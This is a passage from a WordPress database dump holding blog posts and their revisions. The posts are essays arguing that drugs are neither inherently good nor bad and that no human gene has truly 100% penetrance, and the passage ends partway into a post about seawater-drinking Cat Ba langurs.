are trying to build muscle to help back pain, you want to be able to grow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first one to have noticed this. It was as early as the 50s that scientists thought to use a rat poison, called warfarin, that caused profuse bleeding to prevent dangerous blood clotting, or thrombosis. Warfarin is bad for you if you’re a rat who eats too much poisoned cheese or possibly if you’re&nbsp;<a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Joseph_Stalin\">Joseph Stalin</a>. Warfarin is good for you if you just had a stroke and you’re worried about having another one. Warfarin just causes bleeding. Whether that’s good, bad, a mechanism of action, or a side effect, depends on what you’re trying to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!pLsI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c1f751-25e3-4cd2-8447-73f496a4f522_1552x1080.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!pLsI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c1f751-25e3-4cd2-8447-73f496a4f522_1552x1080.jpeg\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">A famous picture: Beria, the world’s creepiest man, holding Stalin’s daughter. 22 years after this photo was taken, Beria allegedly poisoned Stalin, and then was executed himself. Apparently, Stalin was also creeped out by Beria, and warned his daughter not to spend time alone with him. It’s possible Stalin was aware of Beria’s proclivity for rape. As I said, he was a creepy dude, even by Soviet standards.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I guess what I’m trying to say is that I’m tired of hearing about “beneficial drugs” or “side effects”, or even “longevity-promoting drugs” or even drugs that “reduce all-cause mortality”, like apparently&nbsp;<a href=\"https://jamanetwork.com/journals/jama/fullarticle/2816084?utm_source=substack&amp;utm_medium=email\">Adderall</a>&nbsp;does. Drugs are tools. They act in certain ways and in certain pathways. Sometimes they act in multiple different pathways. We have to figure out for ourselves whether this is something that we want.</p>\n<!-- /wp:paragraph -->','Are drugs good? Depends on what you\'re trying to do.','','publish','closed','closed','','are-drugs-good-depends-on-what-youre-trying-to-do','','','2025-07-03 19:28:53','2025-07-03 19:28:53','',0,'https://trevorklee.com/?page_id=494',0,'page','',0),
(495,1,'2025-07-03 19:28:53','2025-07-03 19:28:53','<!-- wp:paragraph -->\n<p>There’s a weird trap I’ve noticed a lot of people, including doctors, fall into. They try to determine if drugs are good or bad without considering what it is they’re trying to accomplish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I saw this most recently with the debate over the legalization of psychedelics in Massachusetts. If you read my voter’s guide to the MA ballot, you’d have seen that Question 4 regards whether Massachusetts should legalize the growth, possession, and use of certain psychedelics, as well as the creation of licensed “trip” facilities. In my voter’s guide, I reluctantly recommended against it, but I could see the argument either way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most of the debate over this question ended up being over whether or not psychedelics are “good”. Good being a subjective term, this quickly went to the “objective” question of whether psychedelics are helpful for mental illness. Proponents of psychedelics pointed to the studies on psychedelics’ positive effects on depression and PTSD (the latter of which, have, unfortunately, gotten a lot&nbsp;<a href=\"https://www.npr.org/sections/shots-health-news/2024/06/04/nx-s1-4991112/mdma-therapy-ptsd-fda-advisors\">cloudier</a>&nbsp;recently). Opponents of psychedelics pointed to the risks of psychosis and driving under the influence. Neither side could agree whether psychedelics are good or bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why it came to me, a random blogger on the Internet, to say this: both sides are right and neither are right. Asking whether psychedelics are good is asking the wrong question. Ask, instead, what psychedelics do. As anyone who’s ever taken psychedelics knows, they alter your perception, sometimes in profound ways. Once you are on them, your perception is altered for the duration of the trip, and that can have lasting influences on your outlook and perception of yourself afterwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you are severely depressed, having an altered perception can be good, as your normal perception is bad. If you’re someone with an already tenuous grip on reality, altering your perception can be bad. If you’re driving, altering your perception is really bad because you need to see the road. Psychedelics, in and of themselves, are neither good nor bad. They just alter perception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe this seems obvious to you. But I see this mistake come up in medicine again and again, and not just in psychiatric medicine. Take rapamycin, for example, everyone’s favorite longevity drug. Rapamycin inhibits growth, among other effects. This is neither good nor bad. It just is. If you are trying to prevent liver fibrosis, rapamycin is good. If you are trying to recover from an injury, rapamycin is bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lifelong rapamycin is, net-net, for most people, probably bad, even if you avoid rapamycin’s other effects like hyperinsulinemia. That’s because preventing growth is generally bad, as most of the body’s processes that involve growth are health-promoting, even though organisms with less growth (e.g. calorie-restricted organisms) tend to live longer. If you sprain your ankle or are trying to build muscle to help back pain, you want to be able to grow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first one to have noticed this. It was as early as the 50s that scientists thought to use a rat poison, called warfarin, that caused profuse bleeding to prevent dangerous blood clotting, or thrombosis. Warfarin is bad for you if you’re a rat who eats too much poisoned cheese or possibly if you’re&nbsp;<a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Joseph_Stalin\">Joseph Stalin</a>. Warfarin is good for you if you just had a stroke and you’re worried about having another one. Warfarin just causes bleeding. Whether that’s good, bad, a mechanism of action, or a side effect, depends on what you’re trying to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!pLsI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c1f751-25e3-4cd2-8447-73f496a4f522_1552x1080.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!pLsI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c1f751-25e3-4cd2-8447-73f496a4f522_1552x1080.jpeg\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">A famous picture: Beria, the world’s creepiest man, holding Stalin’s daughter. 22 years after this photo was taken, Beria allegedly poisoned Stalin, and then was executed himself. Apparently, Stalin was also creeped out by Beria, and warned his daughter not to spend time alone with him. It’s possible Stalin was aware of Beria’s proclivity for rape. As I said, he was a creepy dude, even by Soviet standards.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I guess what I’m trying to say is that I’m tired of hearing about “beneficial drugs” or “side effects”, or even “longevity-promoting drugs” or even drugs that “reduce all-cause mortality”, like apparently&nbsp;<a href=\"https://jamanetwork.com/journals/jama/fullarticle/2816084?utm_source=substack&amp;utm_medium=email\">Adderall</a>&nbsp;does. Drugs are tools. They act in certain ways and in certain pathways. Sometimes they act in multiple different pathways. We have to figure out for ourselves whether this is something that we want.</p>\n<!-- /wp:paragraph -->','Are drugs good? Depends on what you\'re trying to do.','','inherit','closed','closed','','494-revision-v1','','','2025-07-03 19:28:53','2025-07-03 19:28:53','',494,'https://trevorklee.com/?p=495',0,'revision','',0),
(496,1,'2025-07-03 19:29:30','2025-07-03 19:29:30','<!-- wp:paragraph -->\n<p>You know, I’ve been looking, and I don’t think any human genes have 100% penetrance, at least in the strict way I’d define it. Penetrance is loosely defined as the percentage of people (or organisms) with a genotype who show the phenotype. If it’s 100%, 100% of people with that genotype should show that phenotype. And I don’t think that happens, if we define phenotypes appropriately strictly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve long known that very few traits are actually 100% penetrant, in the traditional Mendelian, Punnett square sense. You know, the one where there are dominant and recessive alleles, and there’s the homozygous AA and heterozygous Aa, and recessive x recessive = recessive but dominant x recessive = dominant. The unrealisticness of Punnett squares is one of the first things you learn in Intro to Molecular Bio. In fact, Mendel knew it too, which is why he carefully chose pea traits that actually fit that pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!6MTB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb20bbc0-f9cb-439f-94a0-f1ea61660605_1280x1499.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!6MTB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb20bbc0-f9cb-439f-94a0-f1ea61660605_1280x1499.png\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">The classic Punnett square. This one is from the Wikipedia article on PKU, another supposedly Mendelian trait that I don’t think is, for the same reasons as Huntington’s below.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But I’ve been thinking a lot about genes and genetic inheritance, recently, and I think the number of human genes with 100% penetrance might actually be zero. Now, I know this is a bold claim. There are quite a few diseases that people get that are caused genetically with 100% guarantee. So, like Huntington’s, for example: if you have the wrong mutation in the gene that encodes for the huntingtin protein, the repeated sequence in the gene, the trinucleotide repeat expansion, can get too long.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading! Subscribe for free for more posts, mostly about bio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the repeated section gets above 36 repeats, you’re at risk for Huntington’s. If it gets above 40 repeats, you’re guaranteed to get Huntington’s. If it gets above 60 repeats, you’re guaranteed to get juvenile Huntington’s. These mutations are almost always inherited from parents, and they are inherited in classical autosomal dominant fashion: if your parent has it, you have a 50% chance of getting it. This is about as close a case for 100% penetrance as you can get.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I still don’t think it’s actually 100% penetrant if we define the phenotype narrowly. Our Mendelian pea plants were born with their wrinkly, yellow skin or purple flowers. The timing was incontrovertible and so were the traits. The same is not true for Huntington’s. Huntington’s has variable timing and variable prognosis, regardless of the number of repeats. There’s no guarantee on when you’ll get it or what form it will take.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that remains true even if we describe the phenotype as just misshapen proteins. While the Huntington’s mutation does cause the huntingtin protein to be misshapen, it doesn’t guarantee exactly how it will be misshapen, which is part of the reason the prognosis is so variable. So, again, we’re a far cry from our yellow and green peas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The lack of penetrance, then, comes from both bottom up uncertainty and top down uncertainty. By bottom up uncertainty, I mean the uncertainty that comes from going from a gene to a functional (or dysfunctional) protein. This is not a straightforward process. When the concept of gene penetrance was invented, the general belief was that the process was DNA -&gt; mRNA -&gt; tRNA -&gt; amino acids -&gt; proteins<a href=\"https://trevorklee.substack.com/p/no-human-genes-have-truly-100-penetrance#footnote-1-151467142\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But regulatory and environmental factors interfere at every part of that. If I were to annotate this process with these factors, it might actually look more like this</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. DNA&nbsp; -&gt; mRNA, modified by transcription factors including Sp1 and p53 response elements</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. mRNA, modified by splicing, capping, polyadenylation, and miRNA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Amino acids -&gt; proteins, modified by environmental factors, like temperature and pH, and quantum effects (van der Waals forces acting on electrons)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Proteins, modified by phosphorylation, ubiquitination, and/or palmitoylation&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This means that there are no guarantees on what will happen to any given huntingtin protein, regardless of whether it’s correctly encoded or not. The only real guarantee is that, if it’s encoded the wrong way, it will be messed up and not function well, but exactly how it will be messed up and malfunction is unclear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s the bottom-up uncertainty. The top-down uncertainty comes from the actual actions of huntingtin protein in the body. Most proteins are used in lots of places, but huntingtin is unusually widely used. It’s most used in the brain for axonal transport, but it’s also used through the cell, the body, and the mitochondria. When it malfunctions, it impacts a lot of things, and the impact can be variable depending on which part of the body or cell we’re talking about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s at this point that I think this kind of uncertainty is best understood through a factory analogy. The body, in many ways, is like a series of nested factories. Like, if you think of our body as Apple trying to make an iPhone, our liver tissues might be the equivalent of the cogeneration plants that Apple springs up around their factories. Then, inside our livers, the cells with their mitochondria might be the equivalent of the solar panels the cogeneration plant uses to keep itself running. Proteins, then, would be the individual workers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is an imperfect analogy, sure, but it can give you an idea of how unpredictable errors can be. If one guy/protein is drunk at work, his coworkers can cover for him. The factory would barely be affected and you would not notice anything about the quality of your iPhone. If all of the solar panel technicians at a cogeneration plant are drunk (i.e. all of the mitochondria in one part of your liver malfunction), this would probably ruin the cogeneration plant, at least temporarily. It might also temporarily knock out the individual factory or data center that relies on the cogeneration plant, and Apple would have to scramble to find a temporary replacement for that factory. You might notice that your iCloud is a lot slower than normal, but hopefully it wouldn’t ruin your iPhone, unless that happens at a crucial point in the iPhone manufacturing process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But then, imagine if a class of worker who’s used ubiquitously is just perpetually drunk. Like, let’s say Apple just only hires alcoholic solar panel technicians (the equivalent of malformed huntingtin proteins in the mitochondria). This would definitely have a bad effect on the cogeneration plants and on the factories, but it’s hard to say exactly what would happen. The solar panel technicians would make a lot more mistakes, sure, and solar panels would be knocked offline much more often. Other people in the cogeneration plants would have to adjust for that, and the factories would have to adjust for intermittent power. This would make it way harder to run a factory. From an end user’s perspective, you’d definitely notice things are wrong with your iPhone and its services, but the bugs would be intermittent and it’d be unclear why or how they’re happening. At some point, too many solar panel technicians would be drunk at the wrong time, they’d all spill beers on the solar panels, and the lights would go out in the cogeneration plant. The cogeneration plant would shut down and the factory would malfunction. If the power goes out when the factory’s in the middle of making a motherboard, then that iPhone would be a brick. By analogy, if mitochondria fail in the moment of the liver processing a crucial toxin or huntingtin proteins interfere with the brain instructing the autonomous nervous system to breathe, the person who that liver/brain belongs to would be very unhappy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To sum up the analogy, this sort of uncertainty is because of interaction between the systems. The cell and the body are complicated and living, and they can adjust for errors, depending on when or how the errors are made. The adjustments and the errors manifest as phenotypes, but predicting these phenotypes relies on predicting not just the protein’s malfunction (the bottom-up uncertainty), but how that malfunction will interact with other proteins and the function of the cell or body as a whole, and how the cell or body will adjust for that malfunction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The immune system adds a huge amount of additional complexity and uncertainty to this as well. The immune system, in its search for cancers and foreign invaders in the factories, does not just add complexities in its additional interactions with the cells, although that is an additional source of complexity. The biggest source of complexity that it adds is through its insistence on legibility. The immune system doesn’t just check if cells are cancerous or infected, it makes healthy cells show that they’re not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this sense, the immune system is like Apple’s security. They’re not only checking each factory and each worker, but they’re going up to the factories and the workers and demanding that they prove they’re working on what they’re supposed to be working on. The factories, and the data centers, and the cogeneration plants all have to be prepared to show that they have not gone off course or risk being terminated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this, I believe, is ultimately why 100% penetrance is impossible, at least in humans. The complexity from our proteins is a lot, but Mendel’s peas also were made of proteins. The complexity from our interacting systems is a lot, but Mendel’s peas also had interacting systems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But our immune system is uniquely complex compared to peas. It has to be. Compared to peas, we are much longer lived, have multiple immune-privileged areas of the body, have much more complicated moving parts, and are much more susceptible to being killed by cancer. Our immune system doesn’t just have to work harder than peas’ immune systems. Our immune system demands legibility from the rest of the body, which increases the top-down complexity to the point that 100% penetrance becomes impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/no-human-genes-have-truly-100-penetrance#footnote-anchor-1-151467142\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that Crick himself did not believe in this strict pathway. He emphasized that the central dogma was just that information always goes from nucleic acids to proteins, and never the reverse. But he was ignored on this for a long time.</p>\n<!-- /wp:paragraph -->','No human genes have truly 100% penetrance','','publish','closed','closed','','no-human-genes-have-truly-100-penetrance','','','2025-07-03 19:29:30','2025-07-03 19:29:30','',0,'https://trevorklee.com/?page_id=496',0,'page','',0),
(497,1,'2025-07-03 19:29:30','2025-07-03 19:29:30','<!-- wp:paragraph -->\n<p>You know, I’ve been looking, and I don’t think any human genes have 100% penetrance, at least in the strict way I’d define it. Penetrance is loosely defined as the percentage of people (or organisms) with a genotype who show the phenotype. If it’s 100%, 100% of people with that genotype should show that phenotype. And I don’t think that happens, if we define phenotypes appropriately strictly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve long known that very few traits are actually 100% penetrant, in the traditional Mendelian, Punnett square sense. You know, the one where there are dominant and recessive alleles, and there’s the homozygous AA and heterozygous Aa, and recessive x recessive = recessive but dominant x recessive = dominant. The unrealisticness of Punnett squares is one of the first things you learn in Intro to Molecular Bio. In fact, Mendel knew it too, which is why he carefully chose pea traits that actually fit that pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!6MTB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb20bbc0-f9cb-439f-94a0-f1ea61660605_1280x1499.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!6MTB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb20bbc0-f9cb-439f-94a0-f1ea61660605_1280x1499.png\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">The classic Punnett square. This one is from the Wikipedia article on PKU, another supposedly Mendelian trait that I don’t think is, for the same reasons as Huntington’s below.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But I’ve been thinking a lot about genes and genetic inheritance, recently, and I think the number of human genes with 100% penetrance might actually be zero. Now, I know this is a bold claim. There are quite a few diseases that people get that are caused genetically with 100% guarantee. So, like Huntington’s, for example: if you have the wrong mutation in the gene that encodes for the huntingtin protein, the repeated sequence in the gene, the trinucleotide repeat expansion, can get too long.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading! Subscribe for free for more posts, mostly about bio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the repeated section gets above 36 repeats, you’re at risk for Huntington’s. If it gets above 40 repeats, you’re guaranteed to get Huntington’s. If it gets above 60 repeats, you’re guaranteed to get juvenile Huntington’s. These mutations are almost always inherited from parents, and they are inherited in classical autosomal dominant fashion: if your parent has it, you have a 50% chance of getting it. This is about as close a case for 100% penetrance as you can get.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I still don’t think it’s actually 100% penetrant if we define the phenotype narrowly. Our Mendelian pea plants were born with their wrinkly, yellow skin or purple flowers. The timing was incontrovertible and so were the traits. The same is not true for Huntington’s. Huntington’s has variable timing and variable prognosis, regardless of the number of repeats. There’s no guarantee on when you’ll get it or what form it will take.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that remains true even if we describe the phenotype as just misshapen proteins. While the Huntington’s mutation does cause the huntingtin protein to be misshapen, it doesn’t guarantee exactly how it will be misshapen, which is part of the reason the prognosis is so variable. So, again, we’re a far cry from our yellow and green peas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The lack of penetrance, then, comes from both bottom up uncertainty and top down uncertainty. By bottom up uncertainty, I mean the uncertainty that comes from going from a gene to a functional (or dysfunctional) protein. This is not a straightforward process. When the concept of gene penetrance was invented, the general belief was that the process was DNA -&gt; mRNA -&gt; tRNA -&gt; amino acids -&gt; proteins<a href=\"https://trevorklee.substack.com/p/no-human-genes-have-truly-100-penetrance#footnote-1-151467142\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But regulatory and environmental factors interfere at every part of that. If I were to annotate this process with these factors, it might actually look more like this</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. DNA&nbsp; -&gt; mRNA, modified by transcription factors including Sp1 and p53 response elements</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. mRNA, modified by splicing, capping, polyadenylation, and miRNA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Amino acids -&gt; proteins, modified by environmental factors, like temperature and pH, and quantum effects (van der Waals forces acting on electrons)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Proteins, modified by phosphorylation, ubiquitination, and/or palmitoylation&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This means that there are no guarantees on what will happen to any given huntingtin protein, regardless of whether it’s correctly encoded or not. The only real guarantee is that, if it’s encoded the wrong way, it will be messed up and not function well, but exactly how it will be messed up and malfunction is unclear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s the bottom-up uncertainty. The top-down uncertainty comes from the actual actions of huntingtin protein in the body. Most proteins are used in lots of places, but huntingtin is unusually widely used. It’s most used in the brain for axonal transport, but it’s also used through the cell, the body, and the mitochondria. When it malfunctions, it impacts a lot of things, and the impact can be variable depending on which part of the body or cell we’re talking about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s at this point that I think this kind of uncertainty is best understood through a factory analogy. The body, in many ways, is like a series of nested factories. Like, if you think of our body as Apple trying to make an iPhone, our liver tissues might be the equivalent of the cogeneration plants that Apple springs up around their factories. Then, inside our livers, the cells with their mitochondria might be the equivalent of the solar panels the cogeneration plant uses to keep itself running. Proteins, then, would be the individual workers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is an imperfect analogy, sure, but it can give you an idea of how unpredictable errors can be. If one guy/protein is drunk at work, his coworkers can cover for him. The factory would barely be affected and you would not notice anything about the quality of your iPhone. If all of the solar panel technicians at a cogeneration plant are drunk (i.e. all of the mitochondria in one part of your liver malfunction), this would probably ruin the cogeneration plant, at least temporarily. It might also temporarily knock out the individual factory or data center that relies on the cogeneration plant, and Apple would have to scramble to find a temporary replacement for that factory. You might notice that your iCloud is a lot slower than normal, but hopefully it wouldn’t ruin your iPhone, unless that happens at a crucial point in the iPhone manufacturing process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But then, imagine if a class of worker who’s used ubiquitously is just perpetually drunk. Like, let’s say Apple just only hires alcoholic solar panel technicians (the equivalent of malformed huntingtin proteins in the mitochondria). This would definitely have a bad effect on the cogeneration plants and on the factories, but it’s hard to say exactly what would happen. The solar panel technicians would make a lot more mistakes, sure, and solar panels would be knocked offline much more often. Other people in the cogeneration plants would have to adjust for that, and the factories would have to adjust for intermittent power. This would make it way harder to run a factory. From an end user’s perspective, you’d definitely notice things are wrong with your iPhone and its services, but the bugs would be intermittent and it’d be unclear why or how they’re happening. At some point, too many solar panel technicians would be drunk at the wrong time, they’d all spill beers on the solar panels, and the lights would go out in the cogeneration plant. The cogeneration plant would shut down and the factory would malfunction. If the power goes out when the factory’s in the middle of making a motherboard, then that iPhone would be a brick. By analogy, if mitochondria fail in the moment of the liver processing a crucial toxin or huntingtin proteins interfere with the brain instructing the autonomous nervous system to breathe, the person who that liver/brain belongs to would be very unhappy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To sum up the analogy, this sort of uncertainty is because of interaction between the systems. The cell and the body are complicated and living, and they can adjust for errors, depending on when or how the errors are made. The adjustments and the errors manifest as phenotypes, but predicting these phenotypes relies on predicting not just the protein’s malfunction (the bottom-up uncertainty), but how that malfunction will interact with other proteins and the function of the cell or body as a whole, and how the cell or body will adjust for that malfunction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The immune system adds a huge amount of additional complexity and uncertainty to this as well. The immune system, in its search for cancers and foreign invaders in the factories, does not just add complexities in its additional interactions with the cells, although that is an additional source of complexity. The biggest source of complexity that it adds is through its insistence on legibility. The immune system doesn’t just check if cells are cancerous or infected, it makes healthy cells show that they’re not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this sense, the immune system is like Apple’s security. They’re not only checking each factory and each worker, but they’re going up to the factories and the workers and demanding that they prove they’re working on what they’re supposed to be working on. The factories, and the data centers, and the cogeneration plants all have to be prepared to show that they have not gone off course or risk being terminated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this, I believe, is ultimately why 100% penetrance is impossible, at least in humans. The complexity from our proteins is a lot, but Mendel’s peas also were made of proteins. The complexity from our interacting systems is a lot, but Mendel’s peas also had interacting systems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But our immune system is uniquely complex compared to peas. It has to be. Compared to peas, we are much longer lived, have multiple immune-privileged areas of the body, have much more complicated moving parts, and are much more susceptible to being killed by cancer. Our immune system doesn’t just have to work harder than peas’ immune systems. Our immune system demands legibility from the rest of the body, which increases the top-down complexity to the point that 100% penetrance becomes impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/no-human-genes-have-truly-100-penetrance#footnote-anchor-1-151467142\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that Crick himself did not believe in this strict pathway. He emphasized that the central dogma was just that information always goes from nucleic acids to proteins, and never the reverse. But he was ignored on this for a long time.</p>\n<!-- /wp:paragraph -->','No human genes have truly 100% penetrance','','inherit','closed','closed','','496-revision-v1','','','2025-07-03 19:29:30','2025-07-03 19:29:30','',496,'https://trevorklee.com/?p=497',0,'revision','',0),
(498,1,'2025-07-03 19:30:17','2025-07-03 19:30:17','<!-- wp:paragraph -->\n<p>Somewhere around 500,000 years ago, and possibly as recently as 12,000 years ago, Cat Ba langurs, a long tailed, leaf-eating primate, separated from Francois’ langur as a species. This probably had something to do with the fact that Cat Ba langurs found themselves on an isolated island (Cat Ba Island, unsurprisingly) off the coast of Northern Vietnam, separated from the mainland Francois’ langur by 15 miles of water.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are advantages and disadvantages to living on Cat Ba Island, if you’re a Cat Ba langur. The advantage is that it has the limestone cliffs and caves that you’re used to, as well as the leaves and vegetation that you’re accustomed to eating. It also has fewer predators and less competition for resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The disadvantage is why it has less competition for resources: it has almost no water. While it is in a tropical climate, the limestone doesn’t hold the water well, and rainwater quickly drains away. During the dry season, there are no rivers, streams, or ponds whatsoever. For a primate, these are some tricky conditions. There’s a reason why there are almost no primates in deserts<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-1-151663579\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Cat Ba langur, amazingly enough, has adapted to these harsh conditions. It gets the water it needs from the vegetation it eats, despite the fact that they’re covered in salty spray. It also occasionally drinks mouthfuls of straight seawater.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!6U83!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff566bad6-a8ab-4bf0-8547-4fc50b639c91_2400x1597.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!6U83!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff566bad6-a8ab-4bf0-8547-4fc50b639c91_2400x1597.jpeg\" alt=\"Study reveals Cat Ba langurs\' unique ability to drink salt water\" title=\"Study reveals Cat Ba langurs\' 